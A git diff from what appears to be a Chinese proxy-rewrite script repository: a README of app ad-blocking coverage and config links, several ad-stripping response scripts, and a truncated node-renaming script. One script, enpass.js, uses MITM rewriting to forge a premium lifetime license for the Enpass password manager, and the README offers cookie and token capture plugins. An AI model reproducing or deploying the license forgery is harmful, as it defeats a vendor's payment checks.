+支持列表(部分可能失效需要自己排查): +> 12123, 12306, 21经济网, 2345天气王, 360儿童卫士, 36kr, 555影视, 51信用卡管家, 58, 500, 51job, AcFun, AppSo, 阿里巴巴, 阿里云盘, 爱奇艺, 爱企查, 爱回收, 爱思助手, 爱美剧, 爱阅书香, 爱桐乡, +> 安徽掌上10000, 安吉星, 澳觅, Blued, 半月谈, 宝宝树孕育, 北京银行, 掌上京彩, 百度地图, 百度输入法, 百度网盘, 百度贴吧, 百度翻译, 百度文库, 百度, 百信银行, 哔哩哔哩, 哔哩哔哩漫画, 北京首汽, 贝壳找房, +> 贝太厨房, 菠萝包轻小说, 比特球云盘, 币世界, 币安, 乐刻, 必胜客, 百视TV, 波点音乐, 薄荷健康, clicli, csdn, crunchyroll, 彩云天气, 菜鸟裹裹, 超星学习通, 长城炼金术, 曹操专车, 车来了, 超级课程表, 潮玩宇宙, +> 财新, 财联社, 财经杂志, 刺猬猫阅读, 创客贴设计, DJI Store (大疆商城), 大麦, 大师兄, 大智慧, 大众点评, 达达骑士版, 动卡空间, 到梦空间, 低端影视, 豆瓣, 斗鱼直播, 当当阅读, 叮咚买菜, 叮嗒出行, 东方财富, 懂球帝, +> 丁香医生, 丁香园, 钉钉, 动画疯, 滴滴出行, 滴滴青桔, 滴滴代驾小程序, 嘀嗒出行, 得物, 电E宝, 电视家, 盯盯拍, e代驾, e充电, 饿了么, Flightradar24, 飞猪 + 阿里巴巴, 飞常准, 飞客茶馆, 番茄小说, 樊登读书, 丰巢, +> 凤凰秀, 富途牛牛, 分期乐, 返利网, 发现精彩, 粉笔, 光大银行, 光大银行 阳光惠生活, 工商银行, 工银E生活, 工银e生活小程序, 广发银行, 广州农商银行, 广汽传祺, 国泰君安, 国家医保服务平台, 高德地图, 国家地理, 谷歌, +> 挂号网(微医), 国美电器, 故宫博物馆小程序, 怪兽充电, 盖得排行, 冠寓, 广汽本田, 怪兽充电 微信小程序, 工时记录, 高铁管家, 华彩生活, 华尔街见闻, 虎牙直播, 华住, 韩剧TV, 好奇心日报, 好好住, 火猫, 花生地铁, 花小猪, +> 虎扑, 杭州市民, 杭州公交, 红版报, 虎嗅, 黄油相机, 华宝智投, 航旅纵横, 汇丰汇选, 和风天气, 合利宝展业通, 盒马, 海豚优惠, +> 海尔服务小程序, 好型体重秤, 横店电影小程序, 汇付天下, 海马爸比, i3, IT之家, 吉林银行, 江苏银行, 建行生活, 简讯, 金山词霸, 京东, 京东健康, 京喜, 京东金融, 京东读书, 京东云无线宝, 界面新闻, +> 驾校一点通, 驾考宝典, 金十数据, 今日头条, 今日水印相机, 加油广东, 韭菜公社, 机核网, 街电 微信小程序, 极简汇率, keep, 快看, 快手, 夸克, 酷我音乐, 看天下, 看理想, 快递100, 开源中国, 快手联盟,优量汇, 穿山甲, +> 口袋校园, 考公雷达/公考雷达, 酷安, 肯德基, Line, 拉卡拉, 懒人听书, 懒投资, 来疯, 来电 小程序净化, 莱充, 蓝基因, 乐橙, 乐堡潮玩馆小程序, 联想, 拦截100, 旅法师营地, LING Club-原菱菱邦, LocSim, lofter, +> linxi, 两步路, 猎聘, MIX, 妈妈网孕育, 猫耳FM, 猫眼, 美团 & 美团外卖, 美团众包, 美团充电宝小程序, 每日优鲜, 买单吧, 民生银行, 全民生活, 芒果TV, 马蜂窝, 马达出行, 咪咕, 秒拍, 美图秀秀, 马卡龙玩图, 蘑菇租房, +> 美味不用等, 漫画人, 埋堆堆, 脉脉, 麦当劳, NTPlay, 农业银行, 奈菲影视, 南方航空, 宁聚, 牛津高阶词典第十版, 牛听听, ofo共享单车, ONE, omofun, Oray, pikpak, PushPlus微信推送广告, 浦发银行, 浦大喜奔, 朴朴超市, +> 平安好车主, 平安壹钱包, 平安证券, 平安口袋银行, 拼多多, 票根, 票星球, 澎湃新闻, 皮皮虾, 皮皮搞笑评论区, QQ钱包, QQ浏览器, QQ音乐, 去哪儿, 起点读书, 七猫小说, 汽车之家, 穷游, 汽水音乐, 球迷报, 亲宝宝, 全民K歌, +> 全家便利店, 全能浏览器, 全球购骑士卡, 去哒, Reddit, 人民日报, 人人视频, 日日煮, 日淘任意门, 日产智联, RARBG, 瑞幸咖啡, spotify, Soul, Stay, 苏宁, 苏e行, 苏周到, 苏打校园APP, 四季線上影視, 四川航空, +> 搜狐, 搜狗输入法, 搜电充电 微信小程序, 深圳通, 盛趣游戏, 什么值得买, 神马, 顺丰快递, 顺丰快递小程序, 顺丰优选, 少数派, 书旗小说, 神舟汽车, 上汽大众, 首汽约车, 首旅如家, 三联中读, 识货, 闪现一下, 闪动校园, +> 山姆会员商店, 旅途随身听, 收钱吧 - 买单小程序, 省省回头车, TestFlight, TT语音, TapTap, TubeMax, top-widget, 天府市民云, 天府手机银行, 天府银行小程序, 天府通, 天山云TV, 天天基金, 天星金融, 天猫精灵, +> 天猫养车, 天翼云盘, 同花顺, 同程旅行, 淘票票, 淘淘阅读, 途牛, 途虎养车小程序, 途家民宿, 太平洋电脑, 太平洋知科技, 天气通 分流即可, 淘宝, 腾讯视频, 腾讯乘车码微信小程序, 腾讯游戏社区, 腾讯游戏, 腾讯手机管家, +> 腾讯地图, 腾讯新闻, 腾讯体育, 腾讯广告, 推栏, U净, udn news, vgTime, Vista看天下, Weico(微博客户端), WPS, WIFI万能钥匙, 完美世界电竞, 万词王, 万达电影小程序, 微信, 网易新闻, 网易有钱, 网易严选, +> 网易蜗牛读书, 网易考拉, 网易云音乐, 网易邮箱, 网易, 网易大神, 网易有道词典, 网上国网, 威锋, 微店, 无他相机, 悟空遥控器, 蜗牛睡眠, 本来生活, 唯品会, 稿定设计, 温尼伯站, 小米商城, 小米有品, 小米运动, 小米打印, +> 小米金融, 米家, 米读, 米游社, 雪球, 下厨房, 兴业银行, 兴业生活, 星火英语, 星途 starway, 星财富, 迅雷, 迅游加速器, 小睡眠, 小特- 首选特斯拉中文社区, 小利生活, 小兔充充, 小电充电 微信小程序, 小合拓展, 小牛, +> 小桔科技, 小艺, 小Biu智家, 小熊艺术, 小佩宠物, 小白学习打印机 开屏广告, 小象超市, 小芒, 小蚕霸王餐, 晓晓优选, 希尔顿 荣誉客会, 希沃白板5, 西施眼, 西窗烛, 稀饭动漫, 向日葵, 心悦俱乐部, 兴业证券, 熊猫直播, 讯飞, +> 携程, 虾米音乐, 厦门航空, 闲鱼, 新浪新闻, 新片场, 香蕉是一种水果, 小红书, 喜马拉雅, YouTube, 曜影医疗, 云闪付, 邮储银行, 银盛通, 盈宝证券, 盈立智投, 优酷, 游戏时光, 永辉, 悠洗APP, 一淘, 一号店, 一汽大众, +> 一起考教师, 有兔阅读(米兔), 雅虎, 印象笔记, 易车, 易捷加油小程序, 易校园, 萤石, 云宝宝大数据, 友邻优课, 友邦, 医考帮, 艺龙旅行网, 映客直播, 云麦, 央视, 央视频, 猿辅导, 一刻相册, 易捷加油, 翼支付, 鸭奈飞, 优书, +> 育学园, 亚马逊, 亚朵开屏, 永安行, 招商银行, 掌上生活, 中国银行, 中国银行 缤纷生活, 中信银行, 中国移动, 中国移动 江苏, 中国移动 安徽, 中国移动 广东, 中国移动 广西, 中国移动 山东, 中国移动云盘, 中国联通, 中国电信, +> 中国广电, 中国天气网小程序, 中国知网, 中国人保, 中油优途, 中羽在线, 中通快递, 中银跨境GO, 中油好客e站小程序, 中关村在线, 众邦银行, 涨乐财富通, 知乎, 追书神器, 作业帮, 掌阅, 掌上道具城, 掌上公交, 掌上鹿城, +> 字节跳动, 最右, 转转, 掌上英雄联盟, 浙里办, 郑好办, 住这儿, 指点天下, 猪八戒, 智行APP, 自如, 追剧达人, 职工普惠, 正气助手, 招财猫直聘, 中国国际航空 +> + +已知不能或不能完全去广告的app有: +> 抖音,今日头条、蜂巢、滴答清单 Taio、小米运动、有条下载、Fileball、万年历、豆瓣(信息流)、虎牙直播、货拉拉、番茄小说、凯叔讲故事、银行类(绝大部分)。 + +--- + +## 🍑 开始使用 + +### 0️⃣ 其它配置 + +| # | 配置类型 | 配置名称 | 配置链接 | 作者 | 特别说明 | 使用教程 | +|---|---------|-----------|---------------------------------------------------------------------------------------------------------|-------------------------------------|-------------------|--------------------------------| +| # | icons图标 | `icons图标` | [icons-all.json](https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/icons-all.json) | [fmz200](https://github.com/fmz200) | 包含APP,机场,LPL等大量图标 | 暂无 | +| # | BoxJS订阅 | `BoxJS订阅` | [fmz200_boxjs.json](https://raw.githubusercontent.com/fmz200/wool_scripts/main/boxjs/fmz200_boxjs.json) | [fmz200](https://github.com/fmz200) | 先查看使用教程 | [点击查看](https://docs.boxjs.app) | + + +### 1️⃣ Loon配置 + +| # | 配置类型 | 配置名称 | 配置链接 | 作者 | 特别说明 | 使用教程 | +|---|---------|--------------------|---------------------------------------------------------------------------------------------------|-------------------------------------|------------------------------------|------| +| # | 配置 | `懒人配置` | [Loon.conf](https://raw.githubusercontent.com/fmz200/wool_scripts/main/Loon/config/Loon.conf) | [fmz200](https://github.com/fmz200) | 下载此文件会覆盖原本所有配置,小白慎用 | 暂无 | +| # | 插件 | `微博去广告` | [weibo.plugin](https://github.com/fmz200/wool_scripts/raw/main/Loon/plugin/weibo.plugin) | [fmz200](https://github.com/fmz200) | 可能有遗漏 | 暂无 | +| # | 插件 | `去广告合集` | [blockAds.plugin](https://github.com/fmz200/wool_scripts/raw/main/Loon/plugin/blockAds.plugin) | [fmz200](https://github.com/fmz200) | (支持约538款APP/小程序)针对部分APP和小程序广告进行拦截 | 暂无 | +| # | 插件 | `获取cookie&token合集` | [cookies.plugin](https://github.com/fmz200/wool_scripts/raw/main/Loon/plugin/cookies.plugin) | [fmz200](https://github.com/fmz200) | 包含fmz200/NobyDa/chavyleung/Sunert等 | 暂无 | +| # | 脚本 | `Task订阅` | [tasks.scripts](https://github.com/fmz200/wool_scripts/raw/main/Loon/script/tasks.scripts) | [fmz200](https://github.com/fmz200) | 需要先获取cookie或token再运行 | 暂无 | +| # | 脚本 | `工具合集` | [tools.scripts](https://github.com/fmz200/wool_scripts/raw/main/Loon/script/tools.scripts) | [fmz200](https://github.com/fmz200) | 节点测试工具,导入后长按节点使用 | 暂无 | +| # | 规则 | `去广告合集` | [rejectAd.plugin](https://github.com/fmz200/wool_scripts/raw/main/Loon/rule/rejectAd.list) | [fmz200](https://github.com/fmz200) | 从QX的分流去广告转换而来 | 暂无 | +| # | 规则 | `AI分流规则合集` | [AI.list](https://github.com/fmz200/wool_scripts/raw/main/Loon/rule/AI.list) | [fmz200](https://github.com/fmz200) | 汇集常用的AI模型 | 暂无 | +| # | 规则 | `屏蔽苹果系统更新` | [apple_update.list](https://github.com/fmz200/wool_scripts/raw/main/Loon/rule/apple_update.list) | [fmz200](https://github.com/fmz200) | 无 | 暂无 | + + +### 2️⃣ QuantumultX配置 + +- 2025-03-19 21:30:00,鉴于QX太久没有更新功能,无法更好地适配规则,所以停止更新。 +- 2025-05-15 20:00:00,恢复更新。 + +> 📍 借助 [QuanX官方Github地址](https://github.com/crossutility/Quantumult-X),你可以更快地理解QX配置。 +> +> 📍 配置前建议先看一看 [QuanX 小白配置图文教程](./QuantumultX/How-To-Use.md),这里包括了从准备配置到配置完成的详细说明。 +> +> 📍 这里也有**Hell Cell**大佬的[视频教程](https://youtu.be/e8E8dtFaFUk),强烈建议小白在配置前认真观看几遍! + +| # | 配置类型 | 配置名称 | 配置链接 | 作者 | 特别说明 | 使用教程 | +|---|--------|---------------|--------------------------------------------------------------------------------------------------------------------|-------------------------------------|-----------------------------|--------------------------------------------------------| +| # | 配置 | `懒人配置` | [QuanX.conf](https://raw.githubusercontent.com/fmz200/wool_scripts/main/QuantumultX/config/QuanX.conf) | [fmz200](https://github.com/fmz200) | 下载此文件会覆盖原本所有配置 | [点击查看](./QuantumultX/config/00-How-To-Use-Config.md) | +| # | 重写 | `去广告合集` | [rewrite.snippet](https://raw.githubusercontent.com/fmz200/wool_scripts/main/QuantumultX/rewrite/rewrite.snippet) | [fmz200](https://github.com/fmz200) | 去广告合集,不包含微博 | [点击查看](./QuantumultX/rewrite/00-How-To-Use-Rewrite.md) | +| # | 重写 | `微博去广告` | [weibo.snippet](https://raw.githubusercontent.com/fmz200/wool_scripts/main/QuantumultX/rewrite/weibo.snippet) | [fmz200](https://github.com/fmz200) | 自用的配置 | [点击查看](./QuantumultX/rewrite/00-How-To-Use-Rewrite.md) | +| # | 重写 | `获取cookie合集` | [cookies.snippet](https://raw.githubusercontent.com/fmz200/wool_scripts/main/QuantumultX/rewrite/cookies.snippet) | [fmz200](https://github.com/fmz200) | 包含NobyDa,chavyleung,Sunert等 | 暂无 | +| # | 分流 | `去广告合集` | [filter.list](https://raw.githubusercontent.com/fmz200/wool_scripts/main/QuantumultX/filter/filter.list) | [fmz200](https://github.com/fmz200) | 无 | [点击查看](./QuantumultX/filter/00-How-To-Use-Filter.md) | +| # | 分流 | `屏蔽苹果系统更新` | [apple.snippet](https://raw.githubusercontent.com/fmz200/wool_scripts/main/QuantumultX/filter/apple.snippet) | [fmz200](https://github.com/fmz200) | 有效 | [点击查看](./QuantumultX/filter/00-How-To-Use-Filter.md) | +| # | Task订阅 | `Task订阅` | [fmz200_tasks.json](https://raw.githubusercontent.com/fmz200/wool_scripts/main/boxjs/fmz200_tasks.json) | [fmz200](https://github.com/fmz200) | 需要先获取cookie或token再运行 | 暂无 | +| # | 重写 | `App&小程序净化合集` | [cleanup.snippet](https://github.com/fmz200/wool_scripts/raw/main/QuantumultX/rewrite/cleanup.snippet) | [fmz200](https://github.com/fmz200) | 常见的微信小程序净化(有误杀慎用) | 暂无 | + +> ⚠️ 当远程图标更新时如果你的图表库不更新多半是缓存的问题,请手动清理图标缓存(`点击右下角风车->划到最下面->选择其他设置->找到资源模块`,选择`删除图片缓存`),并重启 Quantumult X,远程图标会重新下载并生效。 + + +### 3️⃣ Surge配置 + +> 📍 你可以借助 [Script-Hub:重写 & 规则集转换](https://github.com/Script-Hub-Org/Script-Hub) 工具将上方的QX重写和分流添加到Surge中。 +- 因为Loon和Surge的规则是通用的,所以统一把规则放到Loon文件夹中 + + +### 4️⃣ ShadowRocket配置 + +> 📍 你可以借助 [Script-Hub:重写 & 规则集转换](https://github.com/Script-Hub-Org/Script-Hub) 工具将上方的QX重写和分流添加到ShadowRocket中。 + + +### 5️⃣ Stash配置 + +> 📍 你可以借助 [Script-Hub:重写 & 规则集转换](https://github.com/Script-Hub-Org/Script-Hub) 工具将上方的QX重写和分流添加到Stash中。 + + +### 6️⃣ Egern配置 + +> 📍 你可以借助 [Script-Hub:重写 & 规则集转换](https://github.com/Script-Hub-Org/Script-Hub) 工具将上方的QX重写和分流添加到Egern中。 + +--- + + +## 🧚‍♂️ 特别鸣谢 + +- [@28413761](https://github.com/28413761) +- [@app2smile](https://github.com/app2smile) +- [@blackmatrix7](https://github.com/blackmatrix7) +- [@chavyleung](https://github.com/chavyleung) +- [@chengkongyiban](https://github.com/chengkongyiban) +- [@DivineEngine](https://github.com/DivineEngine) +- [@I-am-R-E](https://github.com/I-am-R-E) +- [@Keywos](https://github.com/Keywos) +- [@kokoryh](https://github.com/kokoryh) +- [@KOP-XIAO](https://github.com/KOP-XIAO) +- [@lodepuly](https://gitlab.com/lodepuly) +- [@NobyDa](https://github.com/NobyDa) +- [@Orz-3](https://github.com/Orz-3) +- [@RuCu6](https://github.com/RuCu6) +- [@Tartarus2014](https://github.com/Tartarus2014) +- [@zmqcherish](https://github.com/zmqcherish) + +## ♻️ 项目状态 + +![Alt](https://repobeats.axiom.co/api/embed/3ed497076151b9b7ba73d5653f7ac9d025314de9.svg "Repobeats analytics image") + + +## 🌟 欢迎星标 + +![Star](https://api.star-history.com/svg?repos=fmz200/wool_scripts&type=Date) + +## 💹 访问量统计 + +![Visitor Count](https://profile-counter.glitch.me/fmz200/count.svg) + diff --git a/Scripts/51card.js b/Scripts/51card.js new file mode 100644 index 00000000..d82819c2 --- /dev/null +++ b/Scripts/51card.js @@ -0,0 +1,21 @@ +// 去除首页横幅广告,去除我的广告(只保留设置,个人资料) + +if (!$response.body) { + $done({}); +} +const url = $request.url; +let obj = JSON.parse($response.body); + +if (obj?.operationResourceDTO) { + obj.operationResourceDTO = []; +} + +if (url.includes("api.u51.com/generic-config-gateway/api")) { + if (obj?.meTabConfigExts) { + let reserve = ['设置'] + obj.meTabConfigExts = obj.meTabConfigExts.filter(item => reserve.includes(item.meTabConfigs[0].title)); + } +} + +body = JSON.stringify(obj); +$done({body}); \ No newline at end of file diff --git a/Scripts/555Ad.js b/Scripts/555Ad.js new file mode 100644 index 00000000..0b652d28 --- /dev/null +++ b/Scripts/555Ad.js @@ -0,0 +1,11 @@ +let obj = JSON.parse($response.body); + +// 过滤掉 layout 为 advert_self 的 data 条目 +obj.data = obj.data.filter(item => item.layout !== "advert_self"); + +// 对每个 data 条目中的 list 进行二次过滤 (移除 type=3 的元素) +obj.data.forEach(item => { + item.list = item.list.filter(ad => ad.type !== 3); +}); + +$done({body: JSON.stringify(obj)}); \ No newline at end of file diff --git a/Scripts/Enpass/enpass.js b/Scripts/Enpass/enpass.js new file mode 100644 index 00000000..6cfce660 --- /dev/null +++ b/Scripts/Enpass/enpass.js @@ -0,0 +1,25 @@ +/* +脚本作者:Maasea +引用地址:https://raw.githubusercontent.com/Maasea/sgmodule/master/Script/Enpass/enpass.js + +[rewrite_local] +# Enpass Password Manager解锁订阅 //license.enpass.io +^https?:\/\/license\.enpass\.io\/api\/v1\/subscription\/me url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/Enpass/enpass.js + +[mitm] +hostname = license.enpass.io +*/ + +var obj = JSON.parse($response.body); + +obj.license = "premium"; +obj.info = { + purchase_type: "inapp", + store: "ios", + id: "ENP_IAP_LTP", + userid: "000000", + transaction_id: "1000000000000000", + logo: "" +}; + +$done({ body: JSON.stringify(obj) }); \ No newline at end of file diff --git a/Scripts/FamilyMart.js b/Scripts/FamilyMart.js new file mode 100644 index 00000000..3278a654 --- /dev/null +++ b/Scripts/FamilyMart.js @@ -0,0 +1,3 @@ +let obj=JSON.parse($response.body); +delete obj.data.topBanner ; +$done({body: JSON.stringify(obj)}); diff --git a/Scripts/PupuSplashAds.js b/Scripts/PupuSplashAds.js new file mode 100644 index 00000000..a37dbc76 --- /dev/null +++ b/Scripts/PupuSplashAds.js @@ -0,0 +1,8 @@ +/** + * @author fmz200 + * @function 朴朴超市 + * @date 2023-11-27 22:50:13 + */ +let obj = JSON.parse($response.body); +obj.data = obj.data.filter(item => item.position_type !== 50); +$done({body: JSON.stringify(obj)}); diff --git a/Scripts/QuDa.js b/Scripts/QuDa.js new file mode 100644 index 00000000..92648eb2 --- /dev/null +++ b/Scripts/QuDa.js @@ -0,0 +1,13 @@ +/** + * @author fmz200 + * @function 去哒 首页开屏广告 + * @date 2023-11-27 22:50:13 + */ +var body = $response.body; +var obj = JSON.parse(body); +if (obj.data.length == 600) { + obj.data = "null"; + $done({body: JSON.stringify(obj)}); +} else { + $done({}); +} \ No newline at end of file diff --git a/Scripts/SubStore/cname.js b/Scripts/SubStore/cname.js new file mode 100644 index 00000000..d54cef6a --- /dev/null +++ b/Scripts/SubStore/cname.js @@ -0,0 +1,553 @@ +/** + * @Sub-Store-Page + * CNAME 接口查询去重/重命名 2023-11-16 20:34:08 + * - 入口查询[国内spapi 识别到国外为ip-api] 落地查询[ip-api] + * - 根据接口返回的真实结果,重新对节点命名。 + * - 添加入口城市、落地国家或地区、国内运营商信息,并对这些数据做持久化缓存(48小时有效期),减少API请求次数,提高运行效率。 + * - 仅兼容 Surge, Loon 客户端。 + * - Surge 需要固定带 ability 参数版本。 + * 特别说明: + * - 符号:🅳电信 🅻联通 🆈移动 🅶广电 🅲公司 🆉直连 🎮游戏 + * - 首次运行或者在没有缓存的情况下会通知进度 + * - 无参数时的节点命名格式: "美国 01" + * - 1. 官方默认版(目前不带 ability 参数, 不保证以后不会改动): 》https://raw.githubusercontent.com/sub-store-org/Sub-Store/master/config/Surge.sgmodule + * + * - 2. 固定带 ability 参数版本,可能会爆内存, 如果需要使用指定节点功能 例如 [加国旗脚本或者cname脚本] 请使用此带 ability 参数版本: https://raw.githubusercontent.com/sub-store-org/Sub-Store/master/config/Surge-ability.sgmodule + * + * - 3. 固定不带 ability 参数版本:https://raw.githubusercontent.com/sub-store-org/Sub-Store/master/config/Surge-Noability.sgmodule + * + * - 参数必须以"#"开头,多个参数使用"&"连接,例如 https://github.com/Keywos/rule/raw/main/cname.js#city&iisp&name=Name + * - 以下是此脚本支持的参数,必须以"#"开头,多个参数使用"&"连接,需要传入参数的话用 "=" 例如 "name=一元" 参考上述地址为例使用参数。 + * - 无参数时的节点命名格式: "美国 01",如果 [入口IP或国家]或 [落地IP或国家]一样则为 "直连 德国 01" + * - 首次运行或者在没有缓存的情况下会通知进度 + * + * + * 入口参数 + * - [iisp] 增加入口运营商或者直连标识; + * - [city] 增加入口城市文字标识; + * - [sheng] 增加入口省份文字标识; + * - [yuan] 为境外入口添加真实的入口属地标识,当未配置此此参数时,则将境外入口统一标记为 [境外],默认未配置此参数; + * - [inflag] 增加入口国旗 + * + * 落地参数 + * - [yisp] 显示落地详细运营商名称; + * - [yw] 落地归属地使用英文缩写标识,不建议与其他入口参数配合使用,因为其他参数API没有返回英文; + * - [xy] 此参数关闭落地查询,仅查询入口;开启 yisp || yw || flag 参数后 xy 参数无效 + * + * 图标参数 + * - [game] 增加游戏节点标识; + * - [flag] 增加国家或地区的旗帜标识,默认无此参数; + * - [bl] 保留倍率标识; + * - [snone] 清理某地区内只有一个节点的序号; + * + * 分隔符参数 + * - [fgf=] 设置入口和落地之间的分隔符,默认为空格; + * - [sn=] 设置国家与序号之间的分隔符,默认为空格; + * - [name=] 为节点添加机场名称前缀; + * + * 通知参数 + * - [offtz] 关闭脚本通知; + * + * 解析参数 + * - [dnsjx] 将节点域名解析为IP,普通用户不建议使用; + * + * 逻辑参数 + * - [bs=] 批处理节点数建议10个左右,如果经常读不到节点建议减小批处理个数; + * + * 缓存参数 + * - [h=] 节点缓存有效期,单位小时,时间参数只能二选一,Loon用户不需填写要此参数,请进入Sub-Store插件的配置界面自定义缓存有效期; + * - [min=] 节点缓存有效期,单位分钟,时间参数只能二选一,Loon用户不需填写要此参数,请进入Sub-Store插件的配置界面自定义缓存有效期; + * + * 超时参数 + * - [timeout=] 当无任何节点缓存时测试节点HTTP延时允许的最大超时参数,超出允许范围则判定为无效节点,默认2000ms; + * - [cd=] 当有缓存时,会先读取缓存,直接输出结果;默认 [cd=]的值等于0,微直接读取缓存; +当设为更高的值: 比如'460'则每次读缓存都会再次处理之前判定为超时的节点,超时为460ms +* +* 其他参数 +* - [debug] 调试日志,普通用户不建议使用。 +* - 异常:如遇问题,Loon可以进入[配置]→[持久化缓存]→[删除指定数据]→输入Key [sub-store-cached-script-resource]并删除缓存。累计输出节点为0个3次以上将清理所有缓存 +* - Surge需要进入[脚本编辑器]→左下角[设置]→[$persistentStore] [sub-store-cached-script-resource]删除缓存数据。 +*/ + +const SUB_STORE_SCHEMA = { + title: "CNAME", + description: "根据接口返回的真实结果,重新对节点命名/去重。 如:入口/落地详细地区信息", + scope: ["Surge", "Loon"], + author: "@Key @奶茶姐 @小一 @可莉", + updateTime: "2023-11-11 18:26:00", + version: "1.2.2", + params: { + flag: { + datatype: "boolean", + description: "增加落地国家或地区的旗帜标识,默认无此参数", + defaultValue: false, + }, + inflag:{ + datatype: "boolean", + description: "增加入口国家或地区的旗帜标识,默认无此参数", + defaultValue: false, + }, + xy: { + datatype: "boolean", + description: "关闭落地查询,仅查询入口;开启 yisp || yw || flag 参数后 xy 参数无效", + defaultValue: false, + }, + iisp: { + datatype: "boolean", + description: "增加入口运营商或者直连标识", + defaultValue: false, + }, + city: { + datatype: "boolean", + description: "增加入口城市文字标识", + defaultValue: false, + }, + sheng: { + datatype: "boolean", + description: "增加入口省份文字标识", + defaultValue: false, + }, + yuan: { + datatype: "boolean", + description: + "为境外入口添加真实的入口属地标识,当未配置此此参数时,则将境外入口统一标记为[境外],默认未配置此参数", + defaultValue: false, + }, + yisp: { + datatype: "boolean", + description: "显示落地详细运营商名称", + defaultValue: false, + }, + yw: { + datatype: "boolean", + description: + "落地归属地使用英文缩写标识,不建议与其他入口参数配合使用,因为其他参数API没有返回英文", + defaultValue: false, + }, + game: { + datatype: "boolean", + description: "增加游戏节点标识", + defaultValue: false, + }, + bl: { + datatype: "boolean", + description: "保留倍率标识", + defaultValue: false, + }, + snone: { + datatype: "boolean", + description: "清理某地区内只有一个节点的序号", + defaultValue: false, + }, + offtz: { + datatype: "boolean", + description: "关闭脚本通知", + defaultValue: false, + }, + dnsjx: { + datatype: "boolean", + description: "将节点域名解析为IP, 普通用户不建议使用", + defaultValue: false, + }, + debug: { + datatype: "boolean", + description: "调试日志,普通用户不建议使用", + defaultValue: false, + }, + fgf: { + datatype: "string", + description: "设置入口和落地之间的分隔符,默认为空格", + defaultValue: " ", + }, + sn: { + datatype: "string", + description: "设置国家与序号之间的分隔符,默认为空格", + defaultValue: " ", + }, + name: { + datatype: "string", + description: "为节点添加机场名称前缀", + defaultValue: "", + }, + timeout: { + datatype: "number", + description: + "当无任何节点缓存时测试节点HTTP延时允许的最大超时参数,超出允许范围则判定为无效节点,默认2000ms", + defaultValue: 2000, + }, + cd: { + datatype: "number", + description: + "当有缓存时,会先读取缓存,直接输出结果;默认[cd=]的值等于0,微直接读取缓存; 当设为更高的值: 比如'460'则每次读缓存都会再次处理之前判定为超时的节点,超时为460ms", + defaultValue: 0, + }, + bs: { + datatype: "number", + description: + "批处理节点数建议10个左右,如果经常读不到节点建议减小批处理个数", + defaultValue: 10, + }, + h: { + datatype: "number", + description: + "节点缓存有效期,单位小时,时间参数只能二选一,Loon用户不需填写要此参数,请进入Sub-Store插件的配置界面自定义缓存有效期", + defaultValue: "", + }, + min: { + datatype: "number", + description: + "节点缓存有效期,单位分钟,时间参数只能二选一,Loon用户不需填写要此参数,请进入Sub-Store插件的配置界面自定义缓存有效期", + defaultValue: "", + }, + }, +}; + + +const $ = $substore; +const iar = $arguments; +let FGF = iar.fgf == undefined ? " " : decodeURI(iar.fgf),FGFS = FGF,debug = iar.debug; +const { yw, bl, iisp, xy, yisp, yun, city, flag, inflag, game, yuan, sheng, offtz, snone: numone} = iar; +const h = iar.h ? decodeURI(iar.h) : "",min = iar.min ? decodeURI(iar.min) : "",firstN = iar.name ? decodeURI(iar.name) : ""; +const XHFGF = iar.sn == undefined ? " " : decodeURI(iar.sn),{ isLoon: isLoon, isSurge: isSurge } = $substore.env, dns = iar.dnsjx,target = isLoon ? "Loon" : isSurge ? "Surge" : undefined,keypr= "peedtest"; +let cd = iar.cd ? iar.cd : 0, timeout = iar.timeout ? iar.timeout : 2000, writet = "", innum = 1728e5, loontrue = false, onen = false, Sue = false, rawtime = 1500; +const keyp = "3.s",EXPIRATION_KEY = "#sub-store-csr-expiration-time"; +if (min !== "") { + Sue = true; + innum = parseInt(min, 10) * 6e4; + writet = $.write(JSON.stringify(innum), EXPIRATION_KEY); +} else if (h !== "") { + Sue = true; + innum = parseInt(h, 10) * 36e5; + writet = $.write(JSON.stringify(innum), EXPIRATION_KEY); +} else { + writet = $.write(JSON.stringify(innum), EXPIRATION_KEY); +} +let TIMEDKEY = $.read(EXPIRATION_KEY),inapi=0; +async function operator(e = [], targetPlatform, env) { + let tzname = "", subcoll = "", x = false, xys = false; + if (env?.source?.[e?.[0]?.subName]) x = true; + if (env?.source?._collection?.name) xys = true; + if (x && xys) { + tzname = + env.source._collection.name + ": [" + env.source._collection.subscriptions + "]"; + subcoll = "组合订阅内单条订阅加了脚本, 输出组合订阅"; + } else if (x) { + tzname = env.source[e[0].subName].name; + subcoll = "单条订阅脚本"; + } else { + tzname = env.source._collection.name; + subcoll = "组合订阅脚本"; + } + const startTime = new Date(); + const support = isLoon || isSurge; + if (!xy) { + if (!support) { + $.notify("No Loon or Surge") + $.error(`No Loon or Surge`); + return e; + } + } + function klog(...arg) { + console.log('[CNAME] ' +subcoll+ tzname +" : "+ arg); + } + if (e.length < 1) {$.notify(subcoll +tzname,"订阅无节点","");return e;} + if (typeof scriptResourceCache === "undefined")return e; + let bs = iar.bs ? iar.bs : 9; + const ein = e.length; + const eins = ein/2; + klog(`开始处理节点: ${ein} 个`); + klog(`批处理节点数: ${bs} 个`); + klog(`设定api超时: ${zhTime(timeout)}`); + klog(`有缓api超时: ${zhTime(cd)}`); + // e = e.filter((item) => !nlc.test(item.name)); + let o = 0,Pushtd = "",intimed = "",stops = false,rere=false,iflag="",cachen = 0; + while (o < e.length && !stops) { + const batchs = e.slice(o, o + 1); + await Promise.all( + batchs.map(async (pk) => { + try { + const inss = new Map(); + const id = getid(pk); + if (inss.has(id)) { + return inss.get(id); + } + const cacheds = scriptResourceCache.get(id); + if (cacheds) cachen++; + if (cachen > eins) { + if (!onen) { + klog(`检查缓存数量: ${cachen}/${ein} 个`); + rawtime = timeout; + timeout = cd; + onen = true; + stops = true; + } + const readt = scriptResourceCache.gettime(id); + let nt = new Date().getTime(); + let timedPush = ""; + if (isLoon) { + let loontd = ""; + const loonkkk={"1分钟":6e4,"5分钟":3e5,"10分钟":6e5,"30分钟":18e5,"1小时":36e5,"2小时":72e5,"3小时":108e5,"6小时":216e5,"12小时":432e5,"24小时":864e5,"48小时":1728e5,"72小时":2592e5,参数传入:"innums"}; + intimed = $.read("#节点缓存有效期"); + loontd = loonkkk[intimed] || 1728e5; + if (loontd == "innums") { + loontd = innum; + } + timedPush = zhTime( + parseInt(readt, 10) - nt + parseInt(loontd, 10) + ); + } else if (target === "Surge" && Sue) { + timedPush = zhTime( 